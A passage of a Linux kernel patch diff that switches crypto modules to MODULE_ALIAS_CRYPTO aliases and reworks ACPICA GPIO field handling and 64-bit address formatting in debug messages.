100644 --- a/crypto/rmd256.c +++ b/crypto/rmd256.c @@ -346,3 +346,4 @@ module_exit(rmd256_mod_fini); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Adrian-Ken Rueegsegger "); MODULE_DESCRIPTION("RIPEMD-256 Message Digest"); +MODULE_ALIAS_CRYPTO("rmd256"); diff --git a/crypto/rmd320.c b/crypto/rmd320.c index 09f97dfdfbba3..770f2cb369f87 100644 --- a/crypto/rmd320.c +++ b/crypto/rmd320.c @@ -395,3 +395,4 @@ module_exit(rmd320_mod_fini); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Adrian-Ken Rueegsegger "); MODULE_DESCRIPTION("RIPEMD-320 Message Digest"); +MODULE_ALIAS_CRYPTO("rmd320"); diff --git a/crypto/salsa20_generic.c b/crypto/salsa20_generic.c index 9a4770c022841..f550b5d946307 100644 --- a/crypto/salsa20_generic.c +++ b/crypto/salsa20_generic.c @@ -248,4 +248,5 @@ module_exit(salsa20_generic_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION ("Salsa20 stream cipher algorithm"); -MODULE_ALIAS("salsa20"); +MODULE_ALIAS_CRYPTO("salsa20"); +MODULE_ALIAS_CRYPTO("salsa20-generic"); diff --git a/crypto/scatterwalk.c b/crypto/scatterwalk.c index 7281b8a93ad3a..79cbbbfffffcd 100644 --- a/crypto/scatterwalk.c +++ b/crypto/scatterwalk.c @@ -68,7 +68,8 @@ static void scatterwalk_pagedone(struct scatter_walk *walk, int out, void scatterwalk_done(struct scatter_walk *walk, int out, int more) { - if (!(scatterwalk_pagelen(walk) & (PAGE_SIZE - 1)) || !more) + if (!more || walk->offset >= walk->sg->offset + walk->sg->length || + !(walk->offset & (PAGE_SIZE - 1))) scatterwalk_pagedone(walk, out, more); } EXPORT_SYMBOL_GPL(scatterwalk_done); diff --git a/crypto/seed.c b/crypto/seed.c index 9c904d6d21514..c6ba8438be430 100644 --- a/crypto/seed.c +++ b/crypto/seed.c @@ -476,3 +476,4 @@ module_exit(seed_fini); MODULE_DESCRIPTION("SEED Cipher Algorithm"); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Hye-Shik Chang , Kim Hyun "); +MODULE_ALIAS_CRYPTO("seed"); diff --git a/crypto/seqiv.c b/crypto/seqiv.c index f2cba4ed6f256..49a4069ff4532 100644 --- a/crypto/seqiv.c +++ b/crypto/seqiv.c @@ -362,3 +362,4 @@ module_exit(seqiv_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Sequence Number IV Generator"); +MODULE_ALIAS_CRYPTO("seqiv"); diff --git a/crypto/serpent_generic.c b/crypto/serpent_generic.c index 7ddbd7e888595..94970a794975a 100644 --- a/crypto/serpent_generic.c +++ b/crypto/serpent_generic.c @@ -665,5 +665,6 @@ module_exit(serpent_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Serpent and tnepres (kerneli compatible serpent reversed) Cipher Algorithm"); MODULE_AUTHOR("Dag Arne Osvik "); -MODULE_ALIAS("tnepres"); -MODULE_ALIAS("serpent"); +MODULE_ALIAS_CRYPTO("tnepres"); +MODULE_ALIAS_CRYPTO("serpent"); +MODULE_ALIAS_CRYPTO("serpent-generic"); diff --git a/crypto/sha1_generic.c b/crypto/sha1_generic.c index 42794803c4805..fdf7c00de4b0d 100644 --- a/crypto/sha1_generic.c +++ b/crypto/sha1_generic.c @@ -153,4 +153,5 @@ module_exit(sha1_generic_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); -MODULE_ALIAS("sha1"); +MODULE_ALIAS_CRYPTO("sha1"); +MODULE_ALIAS_CRYPTO("sha1-generic"); diff --git a/crypto/sha256_generic.c b/crypto/sha256_generic.c index 5433667795249..136381bdd48d2 100644 --- a/crypto/sha256_generic.c +++ b/crypto/sha256_generic.c @@ -384,5 +384,7 @@ module_exit(sha256_generic_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA-224 and SHA-256 Secure Hash Algorithm"); -MODULE_ALIAS("sha224"); -MODULE_ALIAS("sha256"); +MODULE_ALIAS_CRYPTO("sha224"); +MODULE_ALIAS_CRYPTO("sha224-generic"); +MODULE_ALIAS_CRYPTO("sha256"); +MODULE_ALIAS_CRYPTO("sha256-generic"); diff --git a/crypto/sha512_generic.c b/crypto/sha512_generic.c index 4c58620956793..fb2d7b8f163fc 100644 --- a/crypto/sha512_generic.c +++ b/crypto/sha512_generic.c @@ -285,5 +285,7 @@ module_exit(sha512_generic_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA-512 and SHA-384 Secure Hash Algorithms"); -MODULE_ALIAS("sha384"); -MODULE_ALIAS("sha512"); +MODULE_ALIAS_CRYPTO("sha384"); +MODULE_ALIAS_CRYPTO("sha384-generic"); +MODULE_ALIAS_CRYPTO("sha512"); +MODULE_ALIAS_CRYPTO("sha512-generic"); diff --git a/crypto/tea.c b/crypto/tea.c index 0a572323ee4a9..b70b441c7d1e7 100644 --- a/crypto/tea.c +++ b/crypto/tea.c @@ -270,8 +270,9 @@ static void __exit tea_mod_fini(void) crypto_unregister_algs(tea_algs, ARRAY_SIZE(tea_algs)); } -MODULE_ALIAS("xtea"); -MODULE_ALIAS("xeta"); +MODULE_ALIAS_CRYPTO("tea"); +MODULE_ALIAS_CRYPTO("xtea"); +MODULE_ALIAS_CRYPTO("xeta"); module_init(tea_mod_init); module_exit(tea_mod_fini); diff --git a/crypto/tgr192.c b/crypto/tgr192.c index 87403556fd0bf..f7ed2fba396c8 100644 --- a/crypto/tgr192.c +++ b/crypto/tgr192.c @@ -676,8 +676,9 @@ static void __exit tgr192_mod_fini(void) crypto_unregister_shashes(tgr_algs, ARRAY_SIZE(tgr_algs)); } -MODULE_ALIAS("tgr160"); -MODULE_ALIAS("tgr128"); +MODULE_ALIAS_CRYPTO("tgr192"); +MODULE_ALIAS_CRYPTO("tgr160"); +MODULE_ALIAS_CRYPTO("tgr128"); module_init(tgr192_mod_init); module_exit(tgr192_mod_fini); diff --git a/crypto/twofish_generic.c b/crypto/twofish_generic.c index 2d5000552d0f9..ebf7a3efb5727 100644 --- a/crypto/twofish_generic.c +++ b/crypto/twofish_generic.c @@ -211,4 +211,5 @@ module_exit(twofish_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION ("Twofish Cipher Algorithm"); -MODULE_ALIAS("twofish"); +MODULE_ALIAS_CRYPTO("twofish"); +MODULE_ALIAS_CRYPTO("twofish-generic"); diff --git a/crypto/vmac.c b/crypto/vmac.c index 2eb11a30c29ce..bf2d3a89845fb 100644 --- a/crypto/vmac.c +++ b/crypto/vmac.c @@ -713,3 +713,4 @@ module_exit(vmac_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("VMAC hash algorithm"); +MODULE_ALIAS_CRYPTO("vmac"); diff --git a/crypto/wp512.c b/crypto/wp512.c index 180f1d6e03f48..253db94b54799 100644 --- a/crypto/wp512.c +++ b/crypto/wp512.c @@ -1167,8 +1167,9 @@ static void __exit wp512_mod_fini(void) crypto_unregister_shashes(wp_algs, ARRAY_SIZE(wp_algs)); } -MODULE_ALIAS("wp384"); -MODULE_ALIAS("wp256"); +MODULE_ALIAS_CRYPTO("wp512"); +MODULE_ALIAS_CRYPTO("wp384"); +MODULE_ALIAS_CRYPTO("wp256"); module_init(wp512_mod_init); module_exit(wp512_mod_fini); diff --git a/crypto/xcbc.c b/crypto/xcbc.c index a5fbdf3738cfd..df90b332554cf 100644 --- a/crypto/xcbc.c +++ b/crypto/xcbc.c @@ -286,3 +286,4 @@ module_exit(crypto_xcbc_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("XCBC keyed hash algorithm"); +MODULE_ALIAS_CRYPTO("xcbc"); diff --git a/crypto/xts.c b/crypto/xts.c index ca1608f44cb56..f6fd43f100c8c 100644 --- a/crypto/xts.c +++ b/crypto/xts.c @@ -362,3 +362,4 @@ module_exit(crypto_module_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("XTS block cipher mode"); +MODULE_ALIAS_CRYPTO("xts"); diff --git a/crypto/zlib.c b/crypto/zlib.c index 06b62e5cdcc72..d980788352817 100644 --- a/crypto/zlib.c +++ b/crypto/zlib.c @@ -378,3 +378,4 @@ module_exit(zlib_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("Zlib Compression Algorithm"); MODULE_AUTHOR("Sony Corporation"); +MODULE_ALIAS_CRYPTO("zlib"); diff --git a/drivers/acpi/acpica/aclocal.h b/drivers/acpi/acpica/aclocal.h index d5bfbd331bfdd..95896886fc5ab 100644 --- a/drivers/acpi/acpica/aclocal.h +++ b/drivers/acpi/acpica/aclocal.h @@ -254,6 +254,7 @@ struct acpi_create_field_info { u32 field_bit_position; u32 field_bit_length; u16 resource_length; + u16 pin_number_index; u8 field_flags; u8 attribute; u8 field_type; diff --git a/drivers/acpi/acpica/acmacros.h b/drivers/acpi/acpica/acmacros.h index 53666bd9193d5..32b0bf32364ad 100644 --- a/drivers/acpi/acpica/acmacros.h +++ b/drivers/acpi/acpica/acmacros.h @@ -63,19 +63,15 @@ #define ACPI_SET64(ptr, val) (*ACPI_CAST64 (ptr) = (u64) (val)) /* - * printf() format helpers + * printf() format helper. This macros is a workaround for the difficulties + * with emitting 64-bit integers and 64-bit pointers with the same code + * for both 32-bit and 64-bit hosts. */ /* Split 64-bit integer into two 32-bit values. Use with %8.8X%8.8X */ #define ACPI_FORMAT_UINT64(i) ACPI_HIDWORD(i), ACPI_LODWORD(i) -#if ACPI_MACHINE_WIDTH == 64 -#define ACPI_FORMAT_NATIVE_UINT(i) ACPI_FORMAT_UINT64(i) -#else -#define ACPI_FORMAT_NATIVE_UINT(i) 0, (i) -#endif - /* * Macros for moving data around to/from buffers that are possibly unaligned. * If the hardware supports the transfer of unaligned data, just do the store. diff --git a/drivers/acpi/acpica/acobject.h b/drivers/acpi/acpica/acobject.h index cc7ab6dd724e6..a47cc78ffd4f0 100644 --- a/drivers/acpi/acpica/acobject.h +++ b/drivers/acpi/acpica/acobject.h @@ -263,6 +263,7 @@ struct acpi_object_region_field { ACPI_OBJECT_COMMON_HEADER ACPI_COMMON_FIELD_INFO u16 resource_length; union acpi_operand_object *region_obj; /* Containing op_region object */ u8 *resource_buffer; /* resource_template for serial regions/fields */ + u16 pin_number_index; /* Index relative to previous Connection/Template */ }; struct acpi_object_bank_field { diff --git a/drivers/acpi/acpica/dsfield.c b/drivers/acpi/acpica/dsfield.c index feadeed1012dc..e651d4ec7c4cc 100644 --- a/drivers/acpi/acpica/dsfield.c +++ b/drivers/acpi/acpica/dsfield.c @@ -360,6 +360,7 @@ acpi_ds_get_field_names(struct acpi_create_field_info *info, */ info->resource_buffer = NULL; info->connection_node = NULL; + info->pin_number_index = 0; /* * A Connection() is either an actual resource descriptor (buffer) @@ -437,6 +438,7 @@ acpi_ds_get_field_names(struct acpi_create_field_info *info, } info->field_bit_position += info->field_bit_length; + info->pin_number_index++; /* Index relative to previous Connection() */ break; default: diff --git a/drivers/acpi/acpica/dsmethod.c b/drivers/acpi/acpica/dsmethod.c index a9ffd44c18fe3..2184259c386bb 100644 --- a/drivers/acpi/acpica/dsmethod.c +++ b/drivers/acpi/acpica/dsmethod.c @@ -267,6 +267,9 @@ acpi_ds_begin_method_execution(struct acpi_namespace_node *method_node, obj_desc->method.mutex->mutex. original_sync_level = obj_desc->method.mutex->mutex.sync_level; + + obj_desc->method.mutex->mutex.thread_id = + acpi_os_get_thread_id(); } } diff --git a/drivers/acpi/acpica/dsopcode.c b/drivers/acpi/acpica/dsopcode.c index ee6367b8eaf7a..46a37aeaedae0 100644 --- a/drivers/acpi/acpica/dsopcode.c +++ b/drivers/acpi/acpica/dsopcode.c @@ -446,7 +446,7 @@ acpi_ds_eval_region_operands(struct acpi_walk_state *walk_state, ACPI_DEBUG_PRINT((ACPI_DB_EXEC, "RgnObj %p Addr %8.8X%8.8X Len %X\n", obj_desc, - ACPI_FORMAT_NATIVE_UINT(obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc->region.address), obj_desc->region.length)); /* Now the address and length are valid for this opregion */ @@ -539,13 +539,12 @@ acpi_ds_eval_table_region_operands(struct acpi_walk_state *walk_state, return_ACPI_STATUS(AE_NOT_EXIST); } - obj_desc->region.address = - (acpi_physical_address) ACPI_TO_INTEGER(table); + obj_desc->region.address = ACPI_PTR_TO_PHYSADDR(table); obj_desc->region.length = table->length; ACPI_DEBUG_PRINT((ACPI_DB_EXEC, "RgnObj %p Addr %8.8X%8.8X Len %X\n", obj_desc, - ACPI_FORMAT_NATIVE_UINT(obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc->region.address), obj_desc->region.length)); /* Now the address and length are valid for this opregion */ diff --git a/drivers/acpi/acpica/evregion.c b/drivers/acpi/acpica/evregion.c index 6555e350fc1fe..ad698893e8292 100644 --- a/drivers/acpi/acpica/evregion.c +++ b/drivers/acpi/acpica/evregion.c @@ -141,6 +141,7 @@ acpi_ev_address_space_dispatch(union acpi_operand_object *region_obj, union acpi_operand_object *region_obj2; void *region_context = NULL; struct acpi_connection_info *context; + acpi_physical_address address; ACPI_FUNCTION_TRACE(ev_address_space_dispatch); @@ -235,25 +236,23 @@ acpi_ev_address_space_dispatch(union acpi_operand_object *region_obj, /* We have everything we need, we can invoke the address space handler */ handler = handler_desc->address_space.handler; - - ACPI_DEBUG_PRINT((ACPI_DB_OPREGION, - "Handler %p (@%p) Address %8.8X%8.8X [%s]\n", - ®ion_obj->region.handler->address_space, handler, - ACPI_FORMAT_NATIVE_UINT(region_obj->region.address + - region_offset), - acpi_ut_get_region_name(region_obj->region. - space_id))); + address = (region_obj->region.address + region_offset); /* * Special handling for generic_serial_bus and general_purpose_io: * There are three extra parameters that must be passed to the * handler via the context: - * 1) Connection buffer, a resource template from Connection() op. - * 2) Length of the above buffer. - * 3) Actual access length from the access_as() op. + * 1) Connection buffer, a resource template from Connection() op + * 2) Length of the above buffer + * 3) Actual access length from the access_as() op + * + * In addition, for general_purpose_io, the Address and bit_width fields + * are defined as follows: + * 1) Address is the pin number index of the field (bit offset from + * the previous Connection) + * 2) bit_width is the actual bit length of the field (number of pins) */ - if (((region_obj->region.space_id == ACPI_ADR_SPACE_GSBUS) || - (region_obj->region.space_id == ACPI_ADR_SPACE_GPIO)) && + if ((region_obj->region.space_id == ACPI_ADR_SPACE_GSBUS) && context && field_obj) { /* Get the Connection (resource_template) buffer */ @@ -262,6 +261,24 @@ acpi_ev_address_space_dispatch(union acpi_operand_object *region_obj, context->length = field_obj->field.resource_length; context->access_length = field_obj->field.access_length; } + if ((region_obj->region.space_id == ACPI_ADR_SPACE_GPIO) && + context && field_obj) { + + /* Get the Connection (resource_template) buffer */ + + context->connection = field_obj->field.resource_buffer; + context->length = field_obj->field.resource_length; + context->access_length = field_obj->field.access_length; + address = field_obj->field.pin_number_index; + bit_width = field_obj->field.bit_length; + } + + ACPI_DEBUG_PRINT((ACPI_DB_OPREGION, + "Handler %p (@%p) Address %8.8X%8.8X [%s]\n", + ®ion_obj->region.handler->address_space, handler, + ACPI_FORMAT_UINT64(address), + acpi_ut_get_region_name(region_obj->region. + space_id))); if (!(handler_desc->address_space.handler_flags & ACPI_ADDR_HANDLER_DEFAULT_INSTALLED)) { @@ -275,9 +292,7 @@ acpi_ev_address_space_dispatch(union acpi_operand_object *region_obj, /* Call the handler */ - status = handler(function, - (region_obj->region.address + region_offset), - bit_width, value, context, + status = handler(function, address, bit_width, value, context, region_obj2->extra.region_context); if (ACPI_FAILURE(status)) { diff --git a/drivers/acpi/acpica/exdump.c b/drivers/acpi/acpica/exdump.c index e5a3c249f7fad..7e6a56fe1d6e0 100644 --- a/drivers/acpi/acpica/exdump.c +++ b/drivers/acpi/acpica/exdump.c @@ -621,8 +621,8 @@ void acpi_ex_dump_operand(union acpi_operand_object *obj_desc, u32 depth) acpi_os_printf("\n"); } else { acpi_os_printf(" base %8.8X%8.8X Length %X\n", - ACPI_FORMAT_NATIVE_UINT(obj_desc->region. - address), + ACPI_FORMAT_UINT64(obj_desc->region. + address), obj_desc->region.length); } break; diff --git a/drivers/acpi/acpica/exfield.c b/drivers/acpi/acpica/exfield.c index 7d4bae71e8c62..0108d59665abd 100644 --- a/drivers/acpi/acpica/exfield.c +++ b/drivers/acpi/acpica/exfield.c @@ -178,6 +178,37 @@ acpi_ex_read_data_from_field(struct acpi_walk_state *walk_state, buffer = &buffer_desc->integer.value; } + if ((obj_desc->common.type == ACPI_TYPE_LOCAL_REGION_FIELD) && + (obj_desc->field.region_obj->region.space_id == + ACPI_ADR_SPACE_GPIO)) { + /* + * For GPIO (general_purpose_io), the Address will be the bit offset + * from the previous Connection() operator, making it effectively a + * pin number index. The bit_length is the length of the field, which + * is thus the number of pins. + */ + ACPI_DEBUG_PRINT((ACPI_DB_BFIELD, + "GPIO FieldRead [FROM]: Pin %u Bits %u\n", + obj_desc->field.pin_number_index, + obj_desc->field.bit_length)); + + /* Lock entire transaction if requested */ + + acpi_ex_acquire_global_lock(obj_desc->common_field.field_flags); + + /* Perform the write */ + + status = acpi_ex_access_region(obj_desc, 0, + (u64 *)buffer, ACPI_READ); + acpi_ex_release_global_lock(obj_desc->common_field.field_flags); + if (ACPI_FAILURE(status)) { + acpi_ut_remove_reference(buffer_desc); + } else { + *ret_buffer_desc = buffer_desc; + } + return_ACPI_STATUS(status); + } + ACPI_DEBUG_PRINT((ACPI_DB_BFIELD, "FieldRead [TO]: Obj %p, Type %X, Buf %p, ByteLen %X\n", obj_desc, obj_desc->common.type, buffer, @@ -325,6 +356,42 @@ acpi_ex_write_data_to_field(union acpi_operand_object *source_desc, *result_desc = buffer_desc; return_ACPI_STATUS(status); + } else if ((obj_desc->common.type == ACPI_TYPE_LOCAL_REGION_FIELD) && + (obj_desc->field.region_obj->region.space_id == + ACPI_ADR_SPACE_GPIO)) { + /* + * For GPIO (general_purpose_io), we will bypass the entire field + * mechanism and handoff the bit address and bit width directly to + * the handler. The Address will be the bit offset + * from the previous Connection() operator, making it effectively a + * pin number index. The bit_length is the length of the field, which + * is thus the number of pins. + */ + if (source_desc->common.type != ACPI_TYPE_INTEGER) { + return_ACPI_STATUS(AE_AML_OPERAND_TYPE); + } + + ACPI_DEBUG_PRINT((ACPI_DB_BFIELD, + "GPIO FieldWrite [FROM]: (%s:%X), Val %.8X [TO]: Pin %u Bits %u\n", + acpi_ut_get_type_name(source_desc->common. + type), + source_desc->common.type, + (u32)source_desc->integer.value, + obj_desc->field.pin_number_index, + obj_desc->field.bit_length)); + + buffer = &source_desc->integer.value; + + /* Lock entire transaction if requested */ + + acpi_ex_acquire_global_lock(obj_desc->common_field.field_flags); + + /* Perform the write */ + + status = acpi_ex_access_region(obj_desc, 0, + (u64 *)buffer, ACPI_WRITE); + acpi_ex_release_global_lock(obj_desc->common_field.field_flags); + return_ACPI_STATUS(status); } /* Get a pointer to the data to be written */ diff --git a/drivers/acpi/acpica/exfldio.c b/drivers/acpi/acpica/exfldio.c index c84ee956fa4c5..dc210c3792778 100644 --- a/drivers/acpi/acpica/exfldio.c +++ b/drivers/acpi/acpica/exfldio.c @@ -269,17 +269,15 @@ acpi_ex_access_region(union acpi_operand_object *obj_desc, } ACPI_DEBUG_PRINT_RAW((ACPI_DB_BFIELD, - " Region [%s:%X], Width %X, ByteBase %X, Offset %X at %p\n", + " Region [%s:%X], Width %X, ByteBase %X, Offset %X at %8.8X%8.8X\n", acpi_ut_get_region_name(rgn_desc->region. space_id), rgn_desc->region.space_id, obj_desc->common_field.access_byte_width, obj_desc->common_field.base_byte_offset, - field_datum_byte_offset, ACPI_CAST_PTR(void, - (rgn_desc-> - region. - address + - region_offset)))); + field_datum_byte_offset, + ACPI_FORMAT_UINT64(rgn_desc->region.address + + region_offset))); /* Invoke the appropriate address_space/op_region handler */ diff --git a/drivers/acpi/acpica/exprep.c b/drivers/acpi/acpica/exprep.c index 6b728aef2dcab..df212fe4cf6c1 100644 --- a/drivers/acpi/acpica/exprep.c +++ b/drivers/acpi/acpica/exprep.c @@ -479,6 +479,8 @@ acpi_status acpi_ex_prep_field_value(struct acpi_create_field_info *info) obj_desc->field.resource_length = info->resource_length; } + obj_desc->field.pin_number_index = info->pin_number_index; + /* Allow full data read from EC address space */ if ((obj_desc->field.region_obj->region.space_id == diff --git a/drivers/acpi/acpica/exregion.c b/drivers/acpi/acpica/exregion.c index 182abaf045e16..e90c59d35a169 100644 --- a/drivers/acpi/acpica/exregion.c +++ b/drivers/acpi/acpica/exregion.c @@ -176,7 +176,7 @@ acpi_ex_system_memory_space_handler(u32 function, if (!mem_info->mapped_logical_address) { ACPI_ERROR((AE_INFO, "Could not map memory at 0x%8.8X%8.8X, size %u", - ACPI_FORMAT_NATIVE_UINT(address), + ACPI_FORMAT_UINT64(address), (u32) map_length)); mem_info->mapped_length = 0; return_ACPI_STATUS(AE_NO_MEMORY); @@ -197,8 +197,7 @@ acpi_ex_system_memory_space_handler(u32 function, ACPI_DEBUG_PRINT((ACPI_DB_INFO, "System-Memory (width %u) R/W %u Address=%8.8X%8.8X\n", - bit_width, function, - ACPI_FORMAT_NATIVE_UINT(address))); + bit_width, function, ACPI_FORMAT_UINT64(address))); /* * Perform the memory read or write @@ -300,8 +299,7 @@ acpi_ex_system_io_space_handler(u32 function, ACPI_DEBUG_PRINT((ACPI_DB_INFO, "System-IO (width %u) R/W %u Address=%8.8X%8.8X\n", - bit_width, function, - ACPI_FORMAT_NATIVE_UINT(address))); + bit_width, function, ACPI_FORMAT_UINT64(address))); /* Decode the function parameter */ diff --git a/drivers/acpi/acpica/hwvalid.c b/drivers/acpi/acpica/hwvalid.c index eab70d58852a6..fae57584a182c 100644 --- a/drivers/acpi/acpica/hwvalid.c +++ b/drivers/acpi/acpica/hwvalid.c @@ -142,17 +142,17 @@ acpi_hw_validate_io_request(acpi_io_address address, u32 bit_width) byte_width = ACPI_DIV_8(bit_width); last_address = address + byte_width - 1; - ACPI_DEBUG_PRINT((ACPI_DB_IO, "Address %p LastAddress %p Length %X", - ACPI_CAST_PTR(void, address), ACPI_CAST_PTR(void, - last_address), - byte_width)); + ACPI_DEBUG_PRINT((ACPI_DB_IO, + "Address %8.8X%8.8X LastAddress %8.8X%8.8X Length %X", + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(last_address), byte_width)); /* Maximum 16-bit address in I/O space */ if (last_address > ACPI_UINT16_MAX) { ACPI_ERROR((AE_INFO, - "Illegal I/O port address/length above 64K: %p/0x%X", - ACPI_CAST_PTR(void, address), byte_width)); + "Illegal I/O port address/length above 64K: %8.8X%8.8X/0x%X", + ACPI_FORMAT_UINT64(address), byte_width)); return_ACPI_STATUS(AE_LIMIT); } @@ -181,8 +181,8 @@ acpi_hw_validate_io_request(acpi_io_address address, u32 bit_width) if (acpi_gbl_osi_data >= port_info->osi_dependency) { ACPI_DEBUG_PRINT((ACPI_DB_IO, - "Denied AML access to port 0x%p/%X (%s 0x%.4X-0x%.4X)", - ACPI_CAST_PTR(void, address), + "Denied AML access to port 0x%8.8X%8.8X/%X (%s 0x%.4X-0x%.4X)", + ACPI_FORMAT_UINT64(address), byte_width, port_info->name, port_info->start, port_info->end)); diff --git a/drivers/acpi/acpica/nsdump.c b/drivers/acpi/acpica/nsdump.c index ce6e973262052..20ae5b9bb9f2d 100644 --- a/drivers/acpi/acpica/nsdump.c +++ b/drivers/acpi/acpica/nsdump.c @@ -258,12 +258,11 @@ acpi_ns_dump_one_object(acpi_handle obj_handle, switch (type) { case ACPI_TYPE_PROCESSOR: - acpi_os_printf("ID %02X Len %02X Addr %p\n", + acpi_os_printf("ID %02X Len %02X Addr %8.8X%8.8X\n", obj_desc->processor.proc_id, obj_desc->processor.length, - ACPI_CAST_PTR(void, - obj_desc->processor. - address)); + ACPI_FORMAT_UINT64(obj_desc->processor. + address)); break; case ACPI_TYPE_DEVICE: @@ -334,8 +333,9 @@ acpi_ns_dump_one_object(acpi_handle obj_handle, space_id)); if (obj_desc->region.flags & AOPOBJ_DATA_VALID) { acpi_os_printf(" Addr %8.8X%8.8X Len %.4X\n", - ACPI_FORMAT_NATIVE_UINT - (obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc-> + region. + address), obj_desc->region.length); } else { acpi_os_printf diff --git a/drivers/acpi/acpica/tbinstal.c b/drivers/acpi/acpica/tbinstal.c index e57cd38004e33..0d2351596a3c5 100644 --- a/drivers/acpi/acpica/tbinstal.c +++ b/drivers/acpi/acpica/tbinstal.c @@ -301,8 +301,7 @@ struct acpi_table_header *acpi_tb_table_override(struct acpi_table_header ACPI_EXCEPTION((AE_INFO, AE_NO_MEMORY, "%4.4s %p Attempted physical table override failed", table_header->signature, - ACPI_CAST_PTR(void, - table_desc->address))); + ACPI_PHYSADDR_TO_PTR(table_desc->address))); return (NULL); } @@ -318,7 +317,7 @@ struct acpi_table_header *acpi_tb_table_override(struct acpi_table_header ACPI_INFO((AE_INFO, "%4.4s %p %s table override, new table: %p", table_header->signature, - ACPI_CAST_PTR(void, table_desc->address), + ACPI_PHYSADDR_TO_PTR(table_desc->address), override_type, new_table)); /* We can now unmap/delete the original table (if fully mapped) */ diff --git a/drivers/acpi/acpica/tbutils.c b/drivers/acpi/acpica/tbutils.c index ce3d5db39a9c7..5c67b2840c586 100644 --- a/drivers/acpi/acpica/tbutils.c +++ b/drivers/acpi/acpica/tbutils.c @@ -246,16 +246,12 @@ acpi_tb_print_table_header(acpi_physical_address address, { struct acpi_table_header local_header; - /* - * The reason that the Address is cast to a void pointer is so that we - * can use %p which will work properly on both 32-bit and 64-bit hosts. - */ if (ACPI_COMPARE_NAME(header->signature, ACPI_SIG_FACS)) { /* FACS only has signature and length fields */ - ACPI_INFO((AE_INFO, "%4.4s %p %05X", - header->signature, ACPI_CAST_PTR(void, address), + ACPI_INFO((AE_INFO, "%4.4s 0x%8.8X%8.8X %05X", + header->signature, ACPI_FORMAT_UINT64(address), header->length)); } else if (ACPI_COMPARE_NAME(header->signature, ACPI_SIG_RSDP)) { @@ -266,8 +262,8 @@ acpi_tb_print_table_header(acpi_physical_address address, header)->oem_id, ACPI_OEM_ID_SIZE); acpi_tb_fix_string(local_header.oem_id, ACPI_OEM_ID_SIZE); - ACPI_INFO((AE_INFO, "RSDP %p %05X (v%.2d %6.6s)", - ACPI_CAST_PTR (void, address), + ACPI_INFO((AE_INFO, "RSDP 0x%8.8X%8.8X %05X (v%.2d %6.6s)", + ACPI_FORMAT_UINT64(address), (ACPI_CAST_PTR(struct acpi_table_rsdp, header)-> revision > 0) ? ACPI_CAST_PTR(struct acpi_table_rsdp, @@ -281,8 +277,8 @@ acpi_tb_print_table_header(acpi_physical_address address, acpi_tb_cleanup_table_header(&local_header, header); ACPI_INFO((AE_INFO, - "%4.4s %p %05X (v%.2d %6.6s %8.8s %08X %4.4s %08X)", - local_header.signature, ACPI_CAST_PTR(void, address), + "%-4.4s 0x%8.8X%8.8X %05X (v%.2d %-6.6s %-8.8s %08X %-4.4s %08X)", + local_header.signature, ACPI_FORMAT_UINT64(address), local_header.length, local_header.revision, local_header.oem_id, local_header.oem_table_id, local_header.oem_revision, @@ -474,8 +470,8 @@ acpi_tb_install_table(acpi_physical_address address, table = acpi_os_map_memory(address, sizeof(struct acpi_table_header)); if (!table) { ACPI_ERROR((AE_INFO, - "Could not map memory for table [%s] at %p", - signature, ACPI_CAST_PTR(void, address))); + "Could not map memory for table [%s] at %8.8X%8.8X", + signature, ACPI_FORMAT_UINT64(address))); return; } diff --git a/drivers/acpi/acpica/tbxfroot.c b/drivers/acpi/acpica/tbxfroot.c index 7c2ecfb7c2c37..e12486031d971 100644 --- a/drivers/acpi/acpica/tbxfroot.c +++ b/drivers/acpi/acpica/tbxfroot.c @@ -118,7 +118,7 @@ static acpi_status acpi_tb_validate_rsdp(struct acpi_table_rsdp *rsdp) * ******************************************************************************/ -acpi_status acpi_find_root_pointer(acpi_size *table_address) +acpi_status acpi_find_root_pointer(acpi_physical_address * table_address) { u8 *table_ptr; u8 *mem_rover; @@ -176,7 +176,8 @@ acpi_status acpi_find_root_pointer(acpi_size *table_address) physical_address += (u32) ACPI_PTR_DIFF(mem_rover, table_ptr); - *table_address = physical_address; + *table_address = + (acpi_physical_address) physical_address; return_ACPI_STATUS(AE_OK); } } @@ -209,7 +210,7 @@ acpi_status acpi_find_root_pointer(acpi_size *table_address) (ACPI_HI_RSDP_WINDOW_BASE + ACPI_PTR_DIFF(mem_rover, table_ptr)); - *table_address = physical_address; + *table_address = (acpi_physical_address) physical_address; return_ACPI_STATUS(AE_OK); } diff --git a/drivers/acpi/acpica/utaddress.c b/drivers/acpi/acpica/utaddress.c index e0a2e2779c2ed..3c7770d75773d 100644 --- a/drivers/acpi/acpica/utaddress.c +++ b/drivers/acpi/acpica/utaddress.c @@ -107,10 +107,10 @@ acpi_ut_add_address_range(acpi_adr_space_type space_id, acpi_gbl_address_range_list[space_id] = range_info; ACPI_DEBUG_PRINT((ACPI_DB_NAMES, - "\nAdded [%4.4s] address range: 0x%p-0x%p\n", + "\nAdded [%4.4s] address range: 0x%8.8X%8.8X-0x%8.8X%8.8X\n", acpi_ut_get_node_name(range_info->region_node), - ACPI_CAST_PTR(void, address), - ACPI_CAST_PTR(void, range_info->end_address))); + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(range_info->end_address))); (void)acpi_ut_release_mutex(ACPI_MTX_NAMESPACE); return_ACPI_STATUS(AE_OK); @@ -160,15 +160,13 @@ acpi_ut_remove_address_range(acpi_adr_space_type space_id, } 